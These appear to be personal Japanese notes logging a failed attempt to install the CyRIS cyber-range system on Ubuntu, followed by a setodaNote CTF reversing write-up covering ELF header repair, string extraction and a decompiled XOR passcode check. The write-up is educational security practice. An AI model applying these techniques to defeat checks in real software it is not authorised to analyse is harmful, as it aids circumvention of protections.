(ubuntu16.04だと「libvirtd」なのでsudo usermod -aG libvirtd cyuser)
確認
$ su - cyuser $ id uid=1001(cyuser) gid=1001(cyuser) groups=1001(cyuser),27(sudo),135(libvirt)
ディレクトリ作成
$ mkdir .ssh $ chmod 700 .ssh $ ls -al drwx------ 2 cyuser cyuser 4096 Oct 30 10:07 .ssh
SSH鍵の生成
$ ssh-keygen -t ed25519 Generating public/private ed25519 key pair. Enter file in which to save the key (/home/cyuser/.ssh/id_ed25519): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/cyuser/.ssh/id_ed25519 Your public key has been saved in /home/cyuser/.ssh/id_ed25519.pub
確認
$ ls -la .ssh/ total 16 drwx------ 2 cyuser cyuser 4096 Oct 30 10:09 . drwxr-xr-x 3 cyuser cyuser 4096 Oct 30 10:07 .. -rw------- 1 cyuser cyuser 399 Oct 30 10:09 id_ed25519 -rw-r--r-- 1 cyuser cyuser 95 Oct 30 10:09 id_ed25519.pub
秘密鍵(id_ed25519)と公開鍵(id_ed25519.pub)が作成された
公開鍵をauthorized_keysとして用意し、自ホストにSSHログインできるようにしておく
$ pwd /home/cyuser/.ssh $ cp -p id_ed25519.pub authorized_keys $ chmod 600 authorized_keys
確認
$ ssh cyuser@localhost
ディレクトリ作成
$ mkdir -p .config/libvirt $ vi ~/.config/libvirt/libvirt.conf --- uri_default = "qemu:///system" ---
ベースイメージ(basevm.tgz)を保存するディレクトリ作成とダウンロード
$ mkdir images $ cd images $ wget https://github.com/crond-jaist/cyris/releases/download/1.2/basevm.tgz
解凍
$ tar zxvf basevm.tgz $ ls -ltrh total 5.8G -rw------- 1 cyuser cyuser 2.7K Dec 5 2020 basevm.xml -rw-rw-r-- 1 cyuser cyuser 2.9G Feb 17 2021 basevm
cyrisのダウンロード
$ sudo apt install git $ git clone https://github.com/crond-jaist/cyris
コンフィグ確認
$ cd cyris/ $ vi CONFIG [config] # The absolute path of the top CyRIS directory # (remember to have the slash "/" at the end of the path) cyris_path = /home/cyuser/cyris/ # The absolute path where cyber ranges are to be instantiated # (remember to have the slash "/" at the end of the path) cyber_range_dir = /home/cyuser/cyris/cyber_range/ # Information regarding the gateway # (details are not used if gw_mode is set to "off") gw_mode = off #gw_account = gw_user #gw_mgmt_addr = gw_hostname #gw_inside_addr = 172.16.1.1
(ubunt 20.04)
python2インストール
$ sudo apt install -y python2 $ sudo ln -s /usr/bin/python2 /usr/bin/python $ ls -l /usr/bin/python lrwxrwxrwx 1 root root 16 Oct 30 10:49 /usr/bin/python -> /usr/bin/python2
python2環境作成
$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py $ sudo python2 get-pip.py $ pip2 --version pip 20.3.4 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7) $ pip2 install pyyaml $ pip2 install paramiko $ pip2 install boto3
(ubunt18.04)
pipインストール
sudo apt install python-pip pip install pyyaml paramiko boto3
(ubuntu16.04だとpyyaml paramikoのインストールが失敗するため、以下のようにバージョン指定してpipを更新)
$ python -m pip install --upgrade pip==20.0.1
(ubuntu16.04のみ)pip更新で以下エラーが出るようになったので対処
AttributeError: 'module' object has no attribute 'SSL_ST_INIT'
$ sudo rm -r /usr/lib/python2.7/dist-packages/OpenSSL/ $ sudo pip install pyopenssl
(参考)https://yuis-programming.com/?p=1929
起動
$ /home/cyuser/cyris/main/cyris.py /home/cyuser/cyris/examples/basic.yml /home/cyuser/cyris/CONFIG /home/cyuser/.local/lib/python2.7/site-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. from cryptography.hazmat.backends import default_backend ######################################################################### CyRIS v1.2: Cyber Range Instantiation System ######################################################################### * INFO: cyris: Parse the configuration file. * INFO: cyris: Check that prerequisite conditions are met. * INFO: cyris: Parse the cyber range description. /home/cyuser/cyris/main/check_description.py:61: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. doc = yaml.load(f) /home/cyuser/cyris/main/cyris.py:331: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. doc = yaml.load(f) * INFO: cyris: Perform the initial setup. * INFO: cyris: Copy the base images. * INFO: cyris: Start the base VMs. * INFO: cyris: Check that the base VMs are up. * INFO: cyris: Prepare the base VMs for setup. Host 192.168.122.100 not found in /home/cyuser/.ssh/known_hosts * INFO: cyris: Configure the base VMs for training. * INFO: cyris: - Configure guest: desktop * INFO: cyris: Shut down the base VMs before cloning. * INFO: cyris: Distribute the base images for cloning. * INFO: cyris: Start the cloned base images. * INFO: cyris: Wait for the cloned VMs to start. * ERROR: cyris: Cannot connect to VM. Check the log file for details: /home/cyuser/cyris/cyber_range/123/creation.log ------------------------------------------------------------------------- * INFO: cyris: Cyber range creation status: FAILURE Check the log file for details: /home/cyuser/cyris/cyber_range/123/creation.log -------------------------------------------------------------------------
失敗(未解決)とりあえずここまで
以下、雑多なメモ書きです
virshコマンドの使い方
https://qiita.com/hana_shin/items/3fc67e2e6132bd534932
$ virsh list --all Id Name State ------------------------------------ - desktop_cr123_1_1 shut off
以下で「virsh start desktop_cr123_1_1」が失敗している模様
cyris-master/instantiation/vm_clone/vm_clone_xml.sh
手動でも失敗
$ virsh start desktop_cr123_1_1 error: Failed to start domain desktop_cr123_1_1 error: Cannot get interface MTU on 'br123-1-1': No such device
「br123-1-1」はどうすれば・・・ 自分で作る?
/home/cyuser/cyris/cyber_range/123/create_bridges.sh は関係あるのか?
~/cyris/cyber_range/123/create_bridges.sh ーーーーー sudo -S /home/cyuser/cyris/instantiation/vm_clone/create_bridges/01_write_bridge_config.sh 123-1-1 123.1.1.1 sudo -S ifup br123-1-1 & wait echo " bridges are up" ーーーーー
/home/cyuser/cyris/instantiation/vm_clone/create_bridges/01_write_bridge_config.sh
ーーーーー #!/bin/bash bridge_id=$1 bridge_addr=$2 # create logical interfaces and bridges configuration NEWLINE=$'\n' config="${NEW_LINE} auto eth${bridge_id}${NEW_LINE} iface eth${bridge_id} inet manual${NEW_LINE} ${NEW_LINE} auto br${bridge_id}${NEW_LINE} iface br${bridge_id} inet static${NEW_LINE} address ${bridge_addr}${NEW_LINE} netmask 255.255.255.0${NEW_LINE} bridge_ports eth${bridge_id}${NEW_LINE} bridge_stp off${NEW_LINE} bridge_fd 0" flock -x /etc/network/interfaces echo "${config}" >> /etc/network/interfaces ーーーーー
/etc/network/interfacesに実行のたび、追記されている
auto eth123-1-1 iface eth123-1-1 inet manual auto br123-1-1 iface br123-1-1 inet static address 123.1.1.1 netmask 255.255.255.0 bridge_ports eth123-1-1 bridge_stp off bridge_fd 0
$ sudo -S ifup br123-1-1 $ ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.10.125 netmask 255.255.255.0 broadcast 192.168.10.255 inet6 2400:4051:8962:cc00:e58c:d56b:f29e:8908 prefixlen 64 scopeid 0x0<global> inet6 fe80::529c:9c42:a302:a9ee prefixlen 64 scopeid 0x20<link> inet6 2400:4051:8962:cc00:cdd9:8eed:958f:9718 prefixlen 64 scopeid 0x0<global> ether 00:0c:29:36:3b:8c txqueuelen 1000 (Ethernet) RX packets 10778 bytes 2079020 (2.0 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6198 bytes 1171740 (1.1 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 5096 bytes 752817 (752.8 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 5096 bytes 752817 (752.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 ether 52:54:00:13:b7:7c txqueuelen 1000 (Ethernet) RX packets 310 bytes 53458 (53.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 423 bytes 62566 (62.5 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
できていない
Ubuntu 20.04 LTSで固定IPアドレスの設定
https://qiita.com/zen3/items/757f96cbe522a9ad397d
Ubuntu 20.04 LTS Serverでの固定IPアドレス設定。
17.10から、IPアドレスの変更が/etc/network/interfacesをいじる方式からNetplanへ変更になっているのでメモ。(18.04 LTSも)
とのこと
/etc/netplan/99_config.yaml を作成する必要あり?
マニュアルより
ーーーーー CyRISを動作させるには、物理ホストにUbuntu OSがインストールされている必要があります。 弊社では、Ubuntu Server 16.04 LTSおよび18.04 LTSでCyRISが正しく動作することを確認しています。 ーーーーー
18.04 LTSも設定方法変わっているらしいのだが、上記は本当か?→18.04でもifconfigでインターフェースできてなかった
16.04 LTSなら手っ取り早く動くのでは?(サポート切れているが)→16.04でもifconfigでインターフェースできてなかった
$ brctl show bridge name bridge id STP enabled interfaces virbr0 8000.52540013b77c yes virbr0-nic
/etc/netplan/99_config.yaml ーーーーー network: version: 2 renderer: networkd ethernets: eth123-1-1: dhcp4: false dhcp6: false bridges: br0: interfaces: [eth123-1-1] dhcp4: false dhcp6: false addresses: [123.1.1.1/24] gateway4: 192.168.122.1 nameservers: addresses: [192.168.122.1, 8.8.8.8, 8.8.4.4] parameters: forward-delay: 0 stp: false optional: true ーーーーー
$ sudo netplan apply
$ ifconfig br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 123.1.1.1 netmask 255.255.255.0 broadcast 123.1.1.255 inet6 fe80::64c7:31ff:fecd:7b97 prefixlen 64 scopeid 0x20<link> ether 66:c7:31:cd:7b:97 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 39 bytes 5064 (5.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
上記のような感じでNWインターフェースを作成する?
Ubuntu18.04はPython 2.7.17 (default, Feb 27 2021, 15:10:58)
Ubuntu16.04で動かない問題の対処
Python 2.7.12 (default, Mar 1 2021, 11:38:31)
$ /home/cyuser/cyris/main/cyris.py /home/cyuser/cyris/examples/basic.yml /home/cyuser/cyris/CONFIG /home/cyuser/.local/lib/python2.7/site-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. from cryptography.hazmat.backends import default_backend Traceback (most recent call last): File "/home/cyuser/cyris/main/cyris.py", line 33, in <module> import boto3 File "/home/cyuser/.local/lib/python2.7/site-packages/boto3/__init__.py", line 16, in <module> from boto3.session import Session File "/home/cyuser/.local/lib/python2.7/site-packages/boto3/session.py", line 17, in <module> import botocore.session File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/session.py", line 30, in <module> import botocore.client File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/client.py", line 16, in <module> from botocore.args import ClientArgsCreator File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/args.py", line 26, in <module> from botocore.signers import RequestSigner File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/signers.py", line 19, in <module> import botocore.auth File "/home/cyuser/.local/lib/python2.7/site-packages/botocore/auth.py", line 121 pairs.append(f'{quoted_key}={quoted_value}') ^ SyntaxError: invalid syntax
以下のようにバージョンを合わせたら「invalid syntax」になる問題は解決した
$ pip install boto3==1.17.112
$ pip list Package Version ------------------ -------- adium-theme-ubuntu 0.3.4 bcrypt 3.1.7 boto3 1.17.112 botocore 1.20.112 cffi 1.15.0 chardet 2.3.0 cryptography 3.3.2 enum34 1.1.2 futures 3.3.0 idna 2.0 ipaddr 2.1.11 ipaddress 1.0.16 jmespath 0.10.0 libvirt-python 1.3.1 ndg-httpsclient 0.4.0 paramiko 2.8.0 pip 20.0.1 pssh 2.3.1 pyasn1 0.1.9 pycparser 2.20 pygobject 3.20.0 PyNaCl 1.4.0 pyOpenSSL 0.15.1 python-dateutil 2.8.2 PyYAML 5.4.1 requests 2.9.1 s3transfer 0.4.2 setuptools 20.7.0 six 1.16.0 unity-lens-photos 1.0 urllib3 1.26.7 wheel 0.29.0
setodaNoteCTF Writeup[Rev]
Rev
Helloworld
50
気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。 君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。 心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。 添付されたファイルを解析してフラグを得てください。 ファイルは「infected」というパスワード付き ZIP になっています。
ZIPをパスワードinfectedで解凍
VirusTotalで若干検知ありなので、仮想マシンで実行してみる
メッセージに従って引数を渡したり試したらクリア
>~\helloworld.exe Nice try, please set some word when you run me. >~\helloworld.exe a Good job, but please set 'flag' when you run me. >~\helloworld.exe flag flag{xxxxx}`
ELF
80
監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を 白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。 手を動かして検証するというのは実に大事なことだ。 添付されたファイルを解析してフラグを入手してください。
ファイルコマンドで見ると、dataとなっていて、詳細不明
$ file elf elf: data
stringsでみてみる
$ strings elf XXXX /lib64/ld-linux-x86-64.so.2 puts __cxa_finalize __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH NDIOSZ]FH wEICAJIUH []A\A]A^A_ ;*3$" GCC: (Debian 10.2.1-6) 10.2.1 20210110 :
フラグっぽいものはない
ファイル名がelfであり、stringsコマンドの結果にgcc、libc.so.6などがあるので、elfファイルっぽい
XXXXがやや気になる
ファイルをバイナリエディタでみると、先頭が不自然に以下になっている
このせいでファイルタイプが不明なのでは?
(gccやghidraもうまく読み込めず)
58 58 58 58 XXXX
ELFファイルという前提で、以下に書き換える
7F 45 4C 46 .ELF
ghidraで開けるようになった
権限をつけ、実行してみる
$ chmod 755 elf $ ./elf flag{xxxxx}
(参考)odコマンドで先頭64バイト表示(ビックエンディアン指定)
(バイトオーダーしていないとリトルエンディアンになるっぽい)
$ od -Ax -tx --endian=big -N 64 elf 000000 7f454c46 02010100 00000000 00000000 000010 03003e00 01000000 50100000 00000000 000020 40000000 00000000 50310000 00000000 000030 00000000 40003800 0b004000 1c001b00 000040
Passcode
ひとまず、stringsコマンドで見てみる
$ strings passcode : Invalid passcode. Invalid passcode. Too short. Invalid passcode. Too long. 20150109 The passcode has been verified. :
日付のような文字列が怪しいので試す
$ ./passcode Enter the passcode: 20150109 The passcode has been verified. Flag is : flag{xxxxx}
Passcode2
150
予想以上の結果だった。今日もガラス越しに対象が目を覚ます。ここまでうまくいったことはかつてない。 端末に今日のデータを送信する。今度こそうまくいくかもしれない。 添付されたファイルを解析してフラグを得てください。
ghidraで開く
以下のコードが関係ありそう
パスコードは11桁
パスコードがそのままフラグ
undefined8 FUN_00101175(void) { int iVar1; undefined8 uVar2; size_t sVar3; byte local_124 [4]; undefined local_120; undefined local_11f; undefined local_11e; undefined local_11d; undefined local_11c; undefined local_11b; undefined local_11a; undefined local_119; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined8 local_b8; undefined8 local_b0; undefined8 local_a8; undefined8 local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; ulong local_10; local_118 = 0; local_110 = 0; local_108 = 0; local_100 = 0; local_f8 = 0; local_f0 = 0; local_e8 = 0; local_e0 = 0; local_d8 = 0; local_d0 = 0; local_c8 = 0; local_c0 = 0; local_b8 = 0; local_b0 = 0; local_a8 = 0; local_a0 = 0; local_98 = 0; local_90 = 0; local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_124[0] = 0x18; local_124[1] = 0x1f; local_124[2] = 4; local_124[3] = 0x79; local_120 = 0x4f; local_11f = 0x5a; local_11e = 4; local_11d = 0x18; local_11c = 0x1a; local_11b = 0x1b; local_11a = 0x1e; local_119 = 0; printf("Enter the passcode: "); iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_118); if (iVar1 == -1) { uVar2 = 1; } else { __isoc99_scanf(&DAT_0010202c); if ((char)local_118 == '\0') { printf("Invalid passcode."); } else { sVar3 = strlen((char *)&local_118); if (sVar3 < 0xb) { printf("Invalid passcode. Too short."); } else { sVar3 = strlen((char *)&local_118); if (sVar3 < 0xc) { sVar3 = strlen((char *)&local_118); if (sVar3 == 0xb) { local_10 = 0; while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 && (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) { local_10 = local_10 + 1; } sVar3 = strlen((char *)local_124); if (local_10 == sVar3) { puts("The passcode has been verified.\n"); printf("Flag is : flag{\%s}",&local_118); ★mdファイル変換でエラーとなるので\%としている } else { printf("Invalid passcode. Nice try."); } } else { printf("Invalid passcode."); } } else { printf("Invalid passcode. Too long."); } } } putchar(10); uVar2 = 0; } return uVar2; }
特に以下がポイントで、これを満たすパスコードを探す
if (sVar3 == 0xb) { local_10 = 0; while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 && (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) { local_10 = local_10 + 1; } sVar3 = strlen((char *)local_124); if (local_10 == sVar3) { puts("The passcode has been verified.\n");
Excelで計算したが、local_124[local_10] ^ 0x2aは10進数で以下のように変化するハズ
XOR(DEC) XOR(bin) 50 110010 53 110101 46 101110 83 1010011
11桁だとオーバーフローさせる?(難しい)
(ブレークポイントをどこに設定するかがわかれば)gdbでデバッグしながら試してみるというのはできそう
$ echo 12345678901 | ./passcode2 Enter the passcode: Invalid passcode. Nice try.
総当たりも考えたが、11桁だと難しそう
(ここまで)
(解けていない)
(追記)ASCIIに直すとフラグがでてくるとのこと
https://muchipopo.com/ctf/setoda-writeup/#toc4
もう少しだったと思う反面、local_124[3]より後ろのlocal_120からがghidraでは
別変数に見えていたのでやっぱり気づかなかったかな・・・
local_124[0] = 0x18; local_124[1] = 0x1f; local_124[2] = 4; local_124[3] = 0x79; local_120 = 0x4f; local_11f = 0x5a; local_11e = 4; local_11d = 0x18; :
to_analyze
200
あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。 特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。 解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。 今日の解析対象が画面に表示される。 添付されたファイルを解析してフラグを入手してください。 ファイルは「infected」というパスワード付き ZIP になっています。
思つくのは(マルウェアとかで聞いたことがあるのは)
・タイムゾーン設定
・OS言語設定
・特定のフォルダに特定のファイルがある
とか?
ghidraにて見たが、わからず
(解けていない)
(追記).NETで作られているので、デコンパイラILSPYなどで解析できるとのこと
https://muchipopo.com/ctf/setoda-writeup/#toc4